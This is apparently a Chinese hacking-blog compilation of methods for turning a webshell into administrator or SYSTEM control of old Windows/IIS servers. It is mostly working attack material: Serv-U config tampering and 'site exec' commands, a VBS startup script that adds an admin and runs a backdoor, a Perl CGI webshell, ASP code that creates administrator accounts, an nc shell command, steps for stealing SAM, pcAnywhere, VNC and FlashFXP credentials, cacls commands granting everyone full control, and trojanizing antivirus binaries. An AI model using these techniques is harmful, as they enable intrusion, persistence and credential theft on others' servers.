webshell提权

来源:承诺's Blog

话说到花了九牛二虎的力气获得了一个webshell,
当然还想继续获得整个服务器的admin权限,正如不想得到admin的不是好黑客~
嘻嘻~~好跟我来,看看有什么可以利用的来提升权限
****************************************************************************
第一
如果服务器上有装了pcanywhere服务端,管理员为了管理方便也给了我们方便,到系统盘的Documents and Settings/All Users/Application Data/Symantec/pcAnywhere/中下载*.cif本地破解就使用pcanywhere连接就ok了
****************************************************************************
第二
有很多小黑问我这么把webshell的iis user权限提升
一般服务器的管理都是本机设计完毕然后上传到空间里,
那么就会用到ftp,服务器使用最多的就是servu
那么我们就利用servu来提升权限
通过servu提升权限需要servu安装目录可写~

好开始把,首先通过webshell访问servu安装文件夹下的ServUDaemon.ini把他下载下来,然后在本机上安装一个servu把ServUDaemon.ini放到本地安装文件夹下覆盖,启动servu添加了一个用户,设置为系统管理员,目录C:\,具有可执行权限然后去servu安装目录里把ServUDaemon.ini更换服务器上的。

用我新建的用户和密码连接~
好的,还是连上了
ftp
ftp>open ip
Connected to ip.
220 Serv-U FTP Server v5.0.0.4 for WinSock ready…
User (ip:(none)): id //刚才添加的用户
331 User name okay, please send complete E-mail address as password.
Password:password //密码
230 User logged in, proceed.
Ftp> cd winnt //进入win2k的winnt目录
250 Directory changed to /WINNT
ftp>cd system32 //进入system32目录
250 Directory changed to /WINNT/system32
ftp>quote site exec net.exe user rover rover1234 /add //利用系统的net.exe
文件加用户。

如果提示没有权限,那我们就
把后门(server.exe) 传他system32目录
然后写一个VBs教本
set wshshell=createobject ("wscript.shell")
a=wshshell.run ("cmd.exe /c net user user pass /add",0)
b=wshshell.run ("cmd.exe /c net localgroup Administrators user /add",0)
b=wshshell.run ("cmd.exe /c server.exe",0)

存为xx.vbe
这个教本的作用是建立user用户密码为pass
并且提升为管理员
然后执行system32目录下的server.exe
把这个教本传他 C:\Documents and Settings\All Users\「开始」菜单\程序\启动
目录
这样管理员只要一登陆就会执行那个教本.
接下来就是等了.等他登陆.
****************************************************************************
第三
就是先检查有什么系统服务,或者随系统启动自动启动的程序和管理员经常使用的软件, 比如诺顿,Vadministrator,金山,瑞星,WinRAR甚至QQ之类的,是否可以写,如果可以就修改其程序, 绑定一个批处理或者VBS,然后还是等待服务器重启。
****************************************************************************
第四
查找conn和config ,pass这类型的文件看能否得到sa或者mysql的相关密码,可能会有所
收获等等。
****************************************************************************
第五
使用Flashfxp也能提升权限,但是成功率就看你自己的运气了
首先找到FlashFXP文件夹,打开(编辑)Sites. Dat,这个文件这是什么东西密码和用户名,
而且密码是加了密的。 如果我把这些文件copy回本地也就是我的计算机中,替换我本地的相应文件。然后会发现 打开flashfxp在站点中打开站点管理器一样。又可以添加N多肉鸡啦~~嘻嘻~

唔??不对啊,是来提升权限的啊,晕,接着来别半途而废。
大家看看对方管理员的这站点管理器,有用户名和密码,密码是星号的。经过用xp星号密码 查看器查看,然后和Sites.dat中加密了密码做比较发现并未加密而是查到的密码是明文显示, 然后最终把这个网站管理员的密码从这堆东西中找
出来。那么下一步就可以链接这些新的服务器啦~~
经过测试只要把含有密码和用户名的Sites.dat文件替换到本地相应的文件就可以在本地
还原对方管理员的各个站点的密码。
****************************************************************************
第六

WIN2K+IIS5.0默认情况下应用程序保护选项是"中(共用的)",这时IIS加载isapi是用的
iwam_computername用户身份执行。
但默认情况下WIN2K+IIS5对于一些特殊isapi又要以system身份加载。Win2k+iis5 、
win2k+iis5+sp1、win2k+iis5+sp2都是简单的判断isapi的文件名,并且没有做目录限制,
以SYSTEM权限加载的isapi有:
1、 idq.dll
2、 httpext.dll
3、 httpodbc.dll
4、 ssinc.dll
5、 msw3prt.dll
6、 author.dll
7、 admin.dll
8、 shtml.dll
9、 sspifilt.dll
10、compfilt.dll
11、pwsdata.dll
12、md5filt.dll
13、fpexedll.dll

所以利用这很容易得到SYSTEM权限。并且判断文件名的时候有个bug,比如请求/scripts/test%81%5cssinc.dll也将会认为是请求的ssinc.dll,就是分离文件路径的时候没有考虑到双字节的 远东版问题。Ssinc.dll在处理包含文件路径的时候也有一个问题,就是"/"、"\"只识别了一个 "/",所以如果请求里面使用"\",就会错误的处理包含文件路径,有可能泄露东西或者出现权限 漏洞,这种漏洞很多别的地方( php、asp等)也还存在。

加载这些isapi不是单以文件名做依据了,而是加了路径,应该是修正了此问题。
一般默认情况下是:
1、 idq.dll d:\winnt\system32\idq.dll
2、 httpext.dll d:\winnt\system32\inetsrv\httpext.dll
3、 httpodbc.dll d:\winnt\system32\inetsrv\httpodbc.dll
4、 ssinc.dll d:\winnt\system32\inrtsrv\ssinc.dll
5、 msw3prt.dll d:\winnt\system32\msw3prt.dll
6、 author.dll D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\isapi\_vti_aut\author.dll
7、 admin.dll D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\isapi\_vti_adm\admin.dll
8、 shtml.dll D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\isapi\shtml.dll
9、 sspifilt.dll d:\winnt\system32\inetsrv\sspifilt.dll
10、compfilt.dll d:\winnt\system32\inetsrv\compfilt.dll
11、pwsdata.dll d:\winnt\system32\inetsrv\pwsdata.dll
12、md5filt.dll d:\winnt\system32\inetsrv\md5filt.dll
13、fpexedll.dll D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\bin\fpexedll.dll

正常情况下这些路径都guest不能写,但如果配置不好,这些路径iis user能够写了就一样可以提升权限了

可以把ISAPIHack.dll上传到IIS的可执行目录,文件名可叫ssinc.dll或者admin.dll等(上面列的13个文件名之一)。
然后等待IIS重启加载此dll,就可以获得权限了
****************************************************************************
第七

下载系统的 %windir%\repair\sam.*(WinNT 4下是sam._ 而Windows 2000下是sam)文件,
然后用L0pht等软件进行破解,只要能拿到,肯花时间,就一定可以破解。
****************************************************************************
第八
PipeUpAdmin(Windows 2000下), 在本机运行可以把当前用户帐号加入管理员组。普通用户和Guests组用户都可以成功运行。
****************************************************************************
第九
Serv-u Ftp Server 本地权限提升漏洞:
很多主机的C:\Documents and Settings\All Users\ Documents目录以及下边几个子目录Documents没有设置权限,导致可以在这个目录上传并运行Exp. 直接上传了serv-u local exploit 和nc, 并且把serv-u的本地提升权限的名字命名为su.exe 文件就放在C:\Documents and Settings\All Users\ Documents, 然后我们用su.exe直接建立用户,也可以反弹一个shell过来的。
具体命令:
建立用户: serv-u.exe "cmd"
>USER xl
>PASS 111111

反弹shell: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"

很不错的提权新方法
今天我要带给大家的是,当我们得到WEBSHELL后如何得到SYSTEM权限的新方法, 提升权限这个已经是老生常谈了,网络上已经有很多种提升权限的方法了,在这里我就不在提了,今天我给大家介绍的是就是主动利用MS05020漏洞来达到我们提升权限的目的。
MS05020是一个IE漏洞,2005.4份的时候微软就发步了这个公告:
安全漏洞CN-VA05-025
发布日期:2005-04-13
漏洞类型:远程执行代码
漏洞评估:高危
受影响版本:
Microsoft Windows 2000 Service Pack 3 和 Microsoft Windows 2000 Service Pack 4
Microsoft Windows XP Service Pack 1 和 Microsoft Windows XP Service Pack 2
Microsoft Windows XP 64-Bit Edition Service Pack 1 (Itanium)
Microsoft Windows XP 64-Bit Edition Version 2003 (Itanium)
Microsoft Windows Server 2003
Microsoft Windows Server 2003(用于基于 Itanium 的系统)Microsoft Windows 98、Microsoft Windows 98 Second Edition (SE) 和 Microsoft Windows Millennium Edition (ME) 测试过的 Microsoft Windows 组件:
漏洞描述:
Internet Explorer 由于其处理某些 DHTML 对象的方式而存在一个远程执行代码漏洞。 攻击者可以通过构建恶意的网页来利用该漏洞。 如果某个用户访问了恶意网站,此恶意网页就可能允许远程执行代码。 成功利用此漏洞的攻击者可以完全控制受影响的系统。Internet Explorer 由于其处理某些 URL 的方式而存在一个远程执行代码漏洞。 攻击者可以通过构建恶意的网页来利用该漏洞。 如果某个用户访问了恶意网站,此恶意网页就可能允许远程执行代码。 成功利用此漏洞的攻击者可以完全控制受影响的系统。Internet Explorer 由于其处理分级审查文件的方法而存在一个远程执行代码漏洞。 攻击者可以通过构造特制的分级审查文件来利用此漏洞。 如果用户访问了恶意网站或查看了恶意的电子邮件,并接受安装此恶意分级审查文件,则该文件可能允许远程执行代码。 成功利用此漏洞的攻击者可以完全控制受影响的系统。 不过,要利用此漏洞,需要进行大量用户交互。

大家看到上面的漏洞描述了吗?当被人浏览的时候才会受到攻击,平时我们利用IE漏洞都是先把有攻击性的页面放到网上,然后等待别人去浏览,这样浏览者就会中招了。
今天我们要提升权限,那自然是让我们要提升权限的主机去浏览存在漏洞的页面了,那当我们得到WEBSHELL后怎么才能让主机去浏览这个页面呢?
Ms05020的EXP网页代码已经出来了,大家可以到:
http://www.eviloctal.com/forum/read.php?tid=10127
去下载,假如我们已经把这个EXP放到http://www.xxxx.com/ms05020.html 的地方,
下面我们开始利用这个EXP,进入到我们的ASP木马,打开CMDSHELL,如果用不了的,大家自己想办法解决(可以自己上传一个CMD.EXE上去)。
在命令行里输入:start http://www.xxxx.com/ms05020.html 然后点执行。

这个时候主机的IE就会去访问我们的这个MS05020.HTML,那么如果主机没有打补丁的话,就会绑定一个28876的端口在主机上。
接着我们输入:netstat -an | find "28876" 看看是否成功绑定,第一次的话,会慢一些,大家要等待一下,我这里很快就成功了。然后我们telnet上去马上就成功了

大家看到了:(我添加了一个temp的管理员)

现在我们已经拿到SYSTEM权限了 ,大家还想干什么不可以?

后记:其实大家还可以先上传NC,然后连接到本地后,再输入:
start http://www.xxx.com/ms05020.html 也是可以的。
还有就是如果可以的话还可以这样输入:
start "C:\Program Files\Internet Explorer\iexplore.exe" http://www.xxx.com/ms05020.htm
这个要看你的情况了,一般虚拟主机如果允许访问的话,那还是用第一个命令好了!
我测试过在2K pro、2K server(2000 Enterprise Terminal Server) 、2003都成功过!不过也有不成功的时候,而且不成功的概率很大,特别是到虚拟机的时候,有一次我没有成功,然后我开了3389进入,发现IE没有弹出来,而是出来了一个IE设置向导,也就是说这个服务器没有对IE进行网络设置IE是无法访问网络的,艾,其实我现在也没有搞清楚是怎么会事有点能成功有点不行,想也想不通,因为start ist:http://www.xxx.com/xxx.exe 总是能成功!
把XXX。EXE下载到它的电脑上面!我最后认为估计这个还是和ms05020.htm这个文件有关。艾,看来这个方法的利用价值也很小了,本来不想发出来了的,既然写出来了,还是发表出来一下吧!刚刚和无敌讨论了一下,他也是说不成功的原因估计也是这个,还有就是系统打了IE补丁。

1: C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\
看能否跳转到这个目录,如果行那就最好了,直接下它的CIF文件,得到pcAnywhere密码,登陆
ps: 破解工具本站已提供。请自己Search一下!

2.C:\WINNT\system32\config\
进这里下它的SAM,破解用户的密码
用到破解sam密码的软件有LC,SAMinside

3.C:\Documents and Settings\All Users\「开始」菜单\程序\
看这里能跳转不,我们从这里可以获取好多有用的信息
可以看见好多快捷方式,我们一般选择Serv-U的,然后本地查看属性,知道路径后,看能否跳转
进去后,如果有权限修改ServUDaemon.ini,加个用户上去,密码为空
[USER=WekweN|1]
Password=
HomeDir=c:\
TimeOut=600
Maintenance=System
Access1=C:\|RWAMELCDP
Access1=d:\|RWAMELCDP
Access1=f:\|RWAMELCDP
SKEYValues=
这个用户具有最高权限,然后我们就可以ftp上去 quote site exec xxx 来提升权限

4.c:\winnt\system32\inetsrv\data\
就是这个目录,同样是erveryone 完全控制,我们所要做的就是把提升权限的工具上传上去,然后执行

5.看能否跳转到如下目录
c:\php, 用phpspy
c:\prel,有时候不一定是这个目录(同样可以通过下载快捷方式看属性获知)用cgi的webshell
#!/usr/bin/perl
binmode(STDOUT);
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
$_ = $ENV{QUERY_STRING};
s/%20/ /ig;
s/%2f/\//ig;
$execthis = $_;
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
system($execthis);
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
close(STDERR);
close(STDOUT);
exit;
保存为cgi执行,
如果不行,可以试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir
显示"拒绝访问",表示可以执行了!马上提交:先的上传个su.exe(ser-u提升权限的工具)到 prel的bin目录
http://anyhost//cmd.pl?c\perl\bin\su.exe
返回:
Serv-u >3.x Local Exploit by xiaolu

USAGE: serv-u.exe "command"

Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
现在是 IUSR 权限,提交:
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
如果返回下面的信息,就表示成功了
Serv-u >3.x Local Exploit by xiaolu

<220 Serv-U FTP Server v5.2 for WinSock ready…

>USER LocalAdministrator

<331 User name okay, need password.

******************************************************

>PASS #l@$ak#.lk;0@P

<230 User logged in, proceed.

******************************************************

>SITE MAINTENANCE

******************************************************

[+] Creating New Domain…

<200-DomainID=2

<220 Domain settings saved

******************************************************

[+] Domain xl:2 created

[+] Creating Evil User

<200-User=xl

200 User settings saved

******************************************************

[+] Now Exploiting…

>USER xl

<331 User name okay, need password.

******************************************************

>PASS 111111

<230 User logged in, proceed.

******************************************************

[+] Now Executing: cacls.exe c: /E /T /G everyone:F

<220 Domain deleted
这样所有分区为everyone完全控制
现在我们把自己的用户提升为管理员:

http://anyhost//cmd.pl?c\perl\bin\su.exe " net localgroup administrators IUSR_anyhost /add"

6.可以成功运行"cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps"来提升权限
用这个cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps
查看有特权的dll文件:idq.dll httpext.dll httpodbc.dll ssinc.dll msw3prt.dll
再将asp.dll加入特权一族
asp.dll是放在c:\winnt\system32\inetsrv\asp.dll (不同的机子放的位置不一定一样)
我们现在加进去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll""c:\winnt\system32\inetsrv\asp.dll"
可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 来查看是不是加进去了

7.还可以用这段代码试提升,好象效果不明显
<%@codepage=936%><%Response.Expires=0
on error resume next
Session.TimeOut=50
Server.ScriptTimeout=3000
set lp=Server.createObject("WSCRIPT.NETWORK")
oz="WinNT://"&lp.ComputerName
Set ob=GetObject(oz)
Set oe=GetObject(oz&"/Administrators,group")
Set od=ob.create("user","WekweN$")
od.SetPassword "WekweN" <—–密码
od.SetInfo
Set of=GetObject(oz&"/WekweN$,user")
oe.Add(of.ADsPath)
Response.write "WekweN$ 超级帐号建立成功!"%>

用这段代码检查是否提升成功
<%@codepage=936%>
<%Response.Expires=0
on error resume next '查找Administrators组帐号
Set tN=server.createObject("Wscript.Network")
Set objGroup=GetObject("WinNT://"&tN.ComputerName&"/Administrators,group")
For Each admin in objGroup.Members
Response.write admin.Name&"<br>"
Next
if err then
Response.write "不行啊:Wscript.Network"
end if
%>

8.C:\Program Files\Java Web Start\
这里如果可以,一般很小,可以尝试用jsp的webshell,听说权限很小,本人没有遇见过。

9.最后了,如果主机设置很变态,可以试下在c:\Documents and Settings\All Users\「开始」菜单\程序\启动"写入bat,vbs等木马。

等到主机重启或者你ddos逼它重启,来达到权限提升的目的。

总结起来说就是,找到有执行和写入的目录,管他什么目录,然后上传提升工具,最后执行,三个字"找" "上""执"

c: d: e:…..
C:\Documents and Settings\All Users\「开始」菜单\程序\
看这里能不能跳转,我们从这里可以获取好多有用的信息比如Serv-U的路径,
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\
看能否跳转到这个目录,如果行那就最好了,直接下它的CIF文件,破解得到pcAnywhere密码,登陆
c:\Program Files\serv-u\
C:\WINNT\system32\config\
下它的SAM,破解密码
c:\winnt\system32\inetsrv\data\
是erveryone 完全控制,很多时候没作限制,把提升权限的工具上传上去,然后执行
c:\prel
C:\Program Files\Java Web Start\
c:\Documents and Settings\
C:\Documents and Settings\All Users\
c:\winnt\system32\inetsrv\data\
c:\Program Files\
c:\Program Files\serv-u\
C:\Program Files\Microsoft SQL Server\
c:\Temp\
c:\mysql\(如果服务器支持PHP)
c:\PHP(如果服务器支持PHP)
运行"cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps"来提升权限
还可以用这段代码试提升,好象不是很理想的
如果主机设置很变态,可以试下在c:\Documents and Settings\All Users\「开始」菜单\程序\启动"写入bat,vbs等木马。
根目录下隐藏autorun.inf
C:\PROGRAM FILES\KV2004\ 绑
D:\PROGRAM FILES\RISING\RAV\
C:\Program Files\Real\RealServer\
rar
Folder.htt与desktop.ini
将改写的Folder.htt与desktop.ini,还有你的木马或者是VBS或者是什么,放到对方管理员最可能浏览的目录下
replace 替换法 捆绑
脚本 编写一个启动/关机脚本 重起
删SAM :( 错
CAcls命令
FlashFXP文件夹Sites.dat Sites.dat.bak Stats.dat Stats.dat.bak

VNC: 默认情况下VNC密码存放在HKCU\Software\ORL\WinVNC3\Password我们可以用vncx4破解它,vncx4使用很简单,只要在命令行下输入c:\>vncx4 -W然后顺序输入上面的每一个十六进制数据,没输完一个回车一次就行了。

NC提权: 给对方来个NC 但是条件是你要有足够的运行权限 然后把它反弹到自己的电脑上 HOHO OK了

社会工程学之GUEST提权: 很简单 查看他的拥护 一般来说 看到帐户以后 密码尽量猜 可能用户密码一样 也可能是他QQ号 邮箱号 手机号 尽量看看 HOHO

IPC空连接: 如果对方真比较白痴的话 扫他的IPC 如果运气好还是弱口令

替换服务: 这个不用说了吧?个人感觉相当复杂

autorun .inf :autorun=xxx.exe 这个=后面自己写 HOHO 加上只读、系统、隐藏属性 传到哪个盘都可以的 不相信他不运行

desktop.ini与Folder.htt: 引用:首先,我们现在本地建立一个文件夹,名字不重要,进入它,在空白处点右键,选择“自定义文件夹”(xp好像是不行的)一直下点,默认即可。完成后,你就会看到在此目录下多了两个名为Folder setting的文件架与desktop.ini的文件,(如果你看不到,先取消“隐藏受保护的操作系统文件”)然后我们在Folder setting目录下找到Folder.htt文件,记事本打开,在任意地方加入以下代码: <OBJECT ID=”RUNIT” WIDTH=0 HEIGHT=0 TYPE=”application/x-oleobject” CODEBASE=”你的后门文件名”> </OBJECT> 然后你将你的后门文件放在Folder setting目录下,把此目录与desktop.ini一起上传到对方任意一个目录下,就可以了,只要等管理员浏览了此目录,它就执行了我们的后门

su覆盖提权: 本地安装个su,将你自己的ServUDaemon.ini文件用从他那下载下来的ServUDaemon.ini 覆盖掉,重起一下Serv-U,于是你上面的所有配置都与他的一模一样了

SU转发端口: 43958这个是 Serv -U 的本地管理端口。FPIPE.exe上传他,执行命令: Fpipe –v –l 3333 –r 43958 127.0.0.1 意思是将4444端口映射到43958端口上。 然后就可以在本地安装一个Serv-u,新建一个服务器,IP填对方IP,帐号为LocalAdministrator 密码为#1@$ak#.1k;0@p 连接上后你就可以管理他的Serv-u了

SQL帐户密码泄露: 如果对方开了MSSQL服务器,我们就可以通过用SQL连接器加管理员帐号(可以从他的连接数据库的ASP文件中看到),因为MSSQL是默认的SYSTEM权限。 引用:对方没有删除xp_cmdshell 方法:使用Sqlexec.exe,在host 一栏中填入对方IP,User与Pass中填入你所得到的用户名与密码。format选择xp_cmdshell”%s”即可。然后点击connect,连接上后就可以在CMD一栏中输入你想要的CMD命令了

C:\Inetpub\AdminScripts>这个目录下. 那么如果你是一个管理员,你的机子被人用这招把asp提升为system权限,那么,这时,防的方法就是把asp.dll T出特权一族,也就是用set这个命令,覆盖掉刚才的那些东东.

Magic Winmail

DBO…

——————————————————————————–
添加超级用户的.asp代码[蓝屏的原创,凯文改进,Ms未公布的漏洞]
其实上个礼拜我和凯文就在我的肉鸡上测试了,还有河马史诗.结果是在user权限下成功添加Administrators组的用户了(虽然我不敢相信我的眼睛).
上次凯文不发话,我不敢发布啊….现在在他的blog 上看到他发布了,就转来了咯(比我上次测试时还改进了一点,加了个表单).这下大家有福咯“`

反正代码是对的,但是很少能成功,具体的看运气了。。呵呵,下一步我想把他整合到海洋里面去。嘿嘿。

<head>.network对象脚本权限提升漏洞利用工具</head>
<form action="useradd.asp" method=post>
用户:<input name="username" type="text" value="kevin1986"><br>
密码:<input name="passwd" type="password"><br>
<input type="submit" Value="添 加">
</form>

<%@codepage=936
on error resume next
if request.servervariables("REMOTE_ADDR")<>"127.0.0.1" then
response.write "iP !s n0T RiGHt"
else
if request("username")<>"" then
username=request("username")
passwd=request("passwd")
Response.Expires=0
Session.TimeOut=50
Server.ScriptTimeout=3000
set lp=Server.createObject("WSCRIPT.NETWORK")
oz="WinNT://"&lp.ComputerName
Set ob=GetObject(oz)
Set oe=GetObject(oz&"/Administrators,group")
Set od=ob.create("user",username)
od.SetPassword passwd
od.SetInfo
oe.Add oz&"/"&username
if err then
response.write "哎~~今天你还是别买6+1了……省下2元钱买瓶可乐也好……"
else
if instr(server.createobject("Wscript.shell").exec("cmd.exe /c net user "&username.stdout.readall),"上次登录")>0 then
response.write "虽然没有错误,但是好象也没建立成功.你一定很郁闷吧"
else
Response.write "OMG!"&username&"帐号居然成了!这可是未知漏洞啊.5,000,000RMB是你的了"
end if
end if
else
response.write "请输入输入用户名"
end if
end if
%>


asp.dll解析成system提升权限
网络上传统的提升asp权限为系统的有两种:
1.图形化下的,把默认站点—->主目录—>应用程序保护设置为低,这样就可以把asp权限设置为system.
但这种提升方法很容易被发现,所以网络有另一种一般是用adsutil.vbs来提升权限.而这个也是今天
我要谈的关于adsutil.vbs提升权限.
2.用adsutil.vbs搞定.
在网络上我看到了很多的教你用这种方法的动画,文章,但我至今没有看到一篇介绍原理的,下面我谈谈我个人的看法:
先举个例子:
有一群狗,这群狗里有几个长老级狗物,它们拥有着至高无上的权限,而其它的狗,他们的权限则少得可怜.
转到计算机上:
在IIS中,有几个Dll文件是拥有特权限的,我们可以理解为系统权限,就像长老级的狗.而解析asp的asp.dll则就像一只
普通的狗,他的权限少得可怜.
那么,如果asp.dll也成了长老级的狗的话,那么asp不也就有了系统权限了吗,这是可以成立的.所以我们的思路也就是
把asp.dll加入特权的dll一族之中.提升步骤为:
<1>先查看有特权一话有哪些.
<2>加asp.dll加入特权一族
好了,下面我们就来实践这个过程.
1)查看有特权的dll文件:
命令为:cscript adsutil.vbs get /W3SVC/InProcessIsapiApps
得到显示为:
C:\\Inetpub\\AdminScripts>cscript adsutil.vbs get /W3SVC/InProcessIsapiApps
Microsoft (R) Windows 脚本宿主版本 5.1 for Windows
版权所有(C) Microsoft Corporation 1996-1999. All rights reserved.
InProcessIsapiApps : (LIST) (5 Items)
"C:\\WINNT\\system32\\idq.dll"
"C:\\WINNT\\system32\\inetsrv\\httpext.dll"
"C:\\WINNT\\system32\\inetsrv\\httpodbc.dll"
"C:\\WINNT\\system32\\inetsrv\\ssinc.dll"
"C:\\WINNT\\system32\\msw3prt.dll"
看到没有,他说明的是有特权限一族为:idq.dll httpext.dll httpodbc.dll ssinc.dll msw3prt.dll
这几个文件,不同的机子,可能会不同.
2)把asp.dll加入特权一族:
因为asp.dll是放在c:\\winnt\\system32\\inetsrv\\asp.dll (不同的机子放的位置不一定相同)
我们现在加进去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\\WINNT\\system32\\idq.dll" "C:\\WINNT\\system32\\inetsrv\\httpext.dll" "C:\\WINNT\\system32\\inetsrv\\httpodbc.dll" "C:\\WINNT\\system32\\inetsrv\\ssinc.dll" "C:\\WINNT\\system32\\msw3prt.dll""c:\\winnt\\system32\\inetsrv\\asp.dll"
好了,现在你可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 来查看是不是加进去
了,注意,用法中的get和set,一个是查看一个是设置.还有就是你运行上面的你要到C:\\Inetpub\\AdminScripts>这个目录下.
那么如果你是一个管理员,你的机子被人用这招把asp提升为system权限,那么,这时,防的方法就是把asp.dll T出特权一族,也就是用set这个命令,覆盖掉刚才的那些东东.
例:cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\\WINNT\\system32\\idq.dll" "C:\\WINNT\\system32\\inetsrv\\httpext.dll" "C:\\WINNT\\system32\\inetsrv\\httpodbc.dll" "C:\\WINNT\\system32\\inetsrv\\ssinc.dll" "C:\\WINNT\\system32\\msw3prt.dll"
这样就可以了,当你再用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 这个语句查之时,如果没有看见asp.dll,
说明,asp的权限又恢复到以前的权限.

巧用asp木马和KV2004得到管理员权限

前段时间动网的UPfile.asp漏洞可谓闹的沸沸扬扬,这个漏洞确实很厉害,相信不少新手和我一样种了不少后门在有动网的网站上,但是asp木马的权限确实很底,除了删点文章,删点图片好象没什么用了。不行不得到管理员权限简直就辜负了发现这个漏洞的高手们~v~。好,想办法提升权限,我找啊找!网上提升权限的方法几乎都用过了,都没什么用,补丁打的很全啊!接下来用findpass想解开管理员的密码,又失败,findpass要管理员权限才有用。用pslist看看晕装的是瑞星+天网,网上的大部分工具遇上这个防御组合一般都没用了。种木马?不行一来
权限太底,二来在瑞星杀天网堵的包围下很少能活出来的。做个添加用户权限的bat文件想放到启动组中去,这个方法虽然有点傻但是有一定的可行性,晕又是权限不够加不进去。c盘下的"Program Files" "winnt" "Documents and Settings"三个文件甲都没有写权限,更不要说注册表了。郁闷了,给管理员留了句话,然后匆匆下线。
第2天上来一看,嘿嘿图被改回来了,管理员应该发现了,这次更不容易得手。登上asp木马进去看了一下,昨天传上去的几个exe被删了,还好asp木马活下来了,咦!c盘多了文件甲叫KV2004,原来管理员把瑞星卸了,安了个kv2004,进Program Files看看确实瑞星被卸了。(这里说一下,大部分的杀毒软件默认的安装路径c:\\Program Files\\,但是kv默认的安装路径是c:\\kv2004\\)到这里机会就来了我们可以把执行文件捆绑在kv2004上,跟随kv一起启动。因为kv不在"Program Files" "winnt" "Documents and Settings"这三个文件甲中,很大可能我可以修改

或者上传文件。行动!在kv2004下随便找个htm文件删除:(看看有无写删权限)
C:\\>del c:\\kv2004\\GetLicense.htm
拒绝访问

奇怪了,再来看看文件甲属性
C:\\>attrib c:\\kv2004
S R C:\\KV2004

哦是只读。
C:\\>attrib -r -s c:\\kv2004

ok!在试试
C:\\>del c:\\kv2004\\GetLicense.htm

成功了!好写个起用帐号和提升权限的bat文件,然后把bat文件和kv2004的系统服务文件KVSrvXP.exe捆绑起来,(注意多下种捆绑器,捆绑一

次用kv2004来扫描一次,因为很多捆绑器生成的文件kv会把他作为病毒来处理掉)准备上传了,先删掉原来的KVSrvXP.exe。
C:\\>del c:\\kv2004\\KVSrvXP.exe
拒绝访问

可能是KVSrvXP.exe被windows调用中,删不掉。没办法了吗?不,删不掉我改名
C:\\>ren c:\\kv2004\\KVSrvXP.exe kv.exe

然后用asp木马把修改了的KVSrvXP.exe上传到kv2004中

CAcls命令在提权中的使用

cacls.exe c: /e /t /g everyone:F #把c盘设置为everyone可以浏览
cacls.exe d: /e /t /g everyone:F #把d盘设置为everyone可以浏览
cacls.exe e: /e /t /g everyone:F #把e盘设置为everyone可以浏览
cacls.exe f: /e /t /g everyone:F #把f盘设置为everyone可以浏览

F:\safe\溢出工具\sqlhello2>cacls
显示或者修改文件的访问控制表(ACL)

CACLS filename [/T] [/E] [/C] [/G user:perm] [/R user […]]
[/P user:perm […]] [/D user […]]
filename 显示 ACL。
/T 更改当前目录及其所有子目录中
指定文件的 ACL。
/E 编辑 ACL 而不替换。
/C 在出现拒绝访问错误时继续。
/G user:perm 赋予指定用户访问权限。
Perm 可以是: R 读取
W 写入
C 更改(写入)
F 完全控制
/R user 撤销指定用户的访问权限(仅在与 /E 一起使用时合法)。
/P user:perm 替换指定用户的访问权限。
Perm 可以是: N 无
R 读取
W 写入
C 更改(写入)
F 完全控制
/D user 拒绝指定用户的访问。
在命令中可以使用通配符指定多个文件。

C:\documents and settings\all users\documents\ 默认可写、运行
C:\Documents and Settings\All Users\Application Data\

相关日志

楼被抢了 2 层了... 抢座Rss 2.0或者 Trackback

  • vvv666

    Powered by LBS Version 2.0.313 | Modified By 鬼仔 —— 这个源码我下了,可是模板不是你的模板:(

    老大,你的模板真的好漂亮,能否提供个下载链接?好像有人还从你的站上下了,我是怎么也找不到啊,谢啦!

  • tzming

    鬼仔啊~~我有一个很奇怪的配置,system32不可写,system32里只有drivers这个目录可写,没有装任何ftp软件,没有装任何远程软件,网站根目录除数据库与图片目录可写,其它都不可写,磁盘根目录都不可读,但子目录可读,所有“启动”目录不可读不可写。可以执行cmd,但是除system32目录的程序可执行外,其它地方的exe都不可执行,有点变态了

发表评论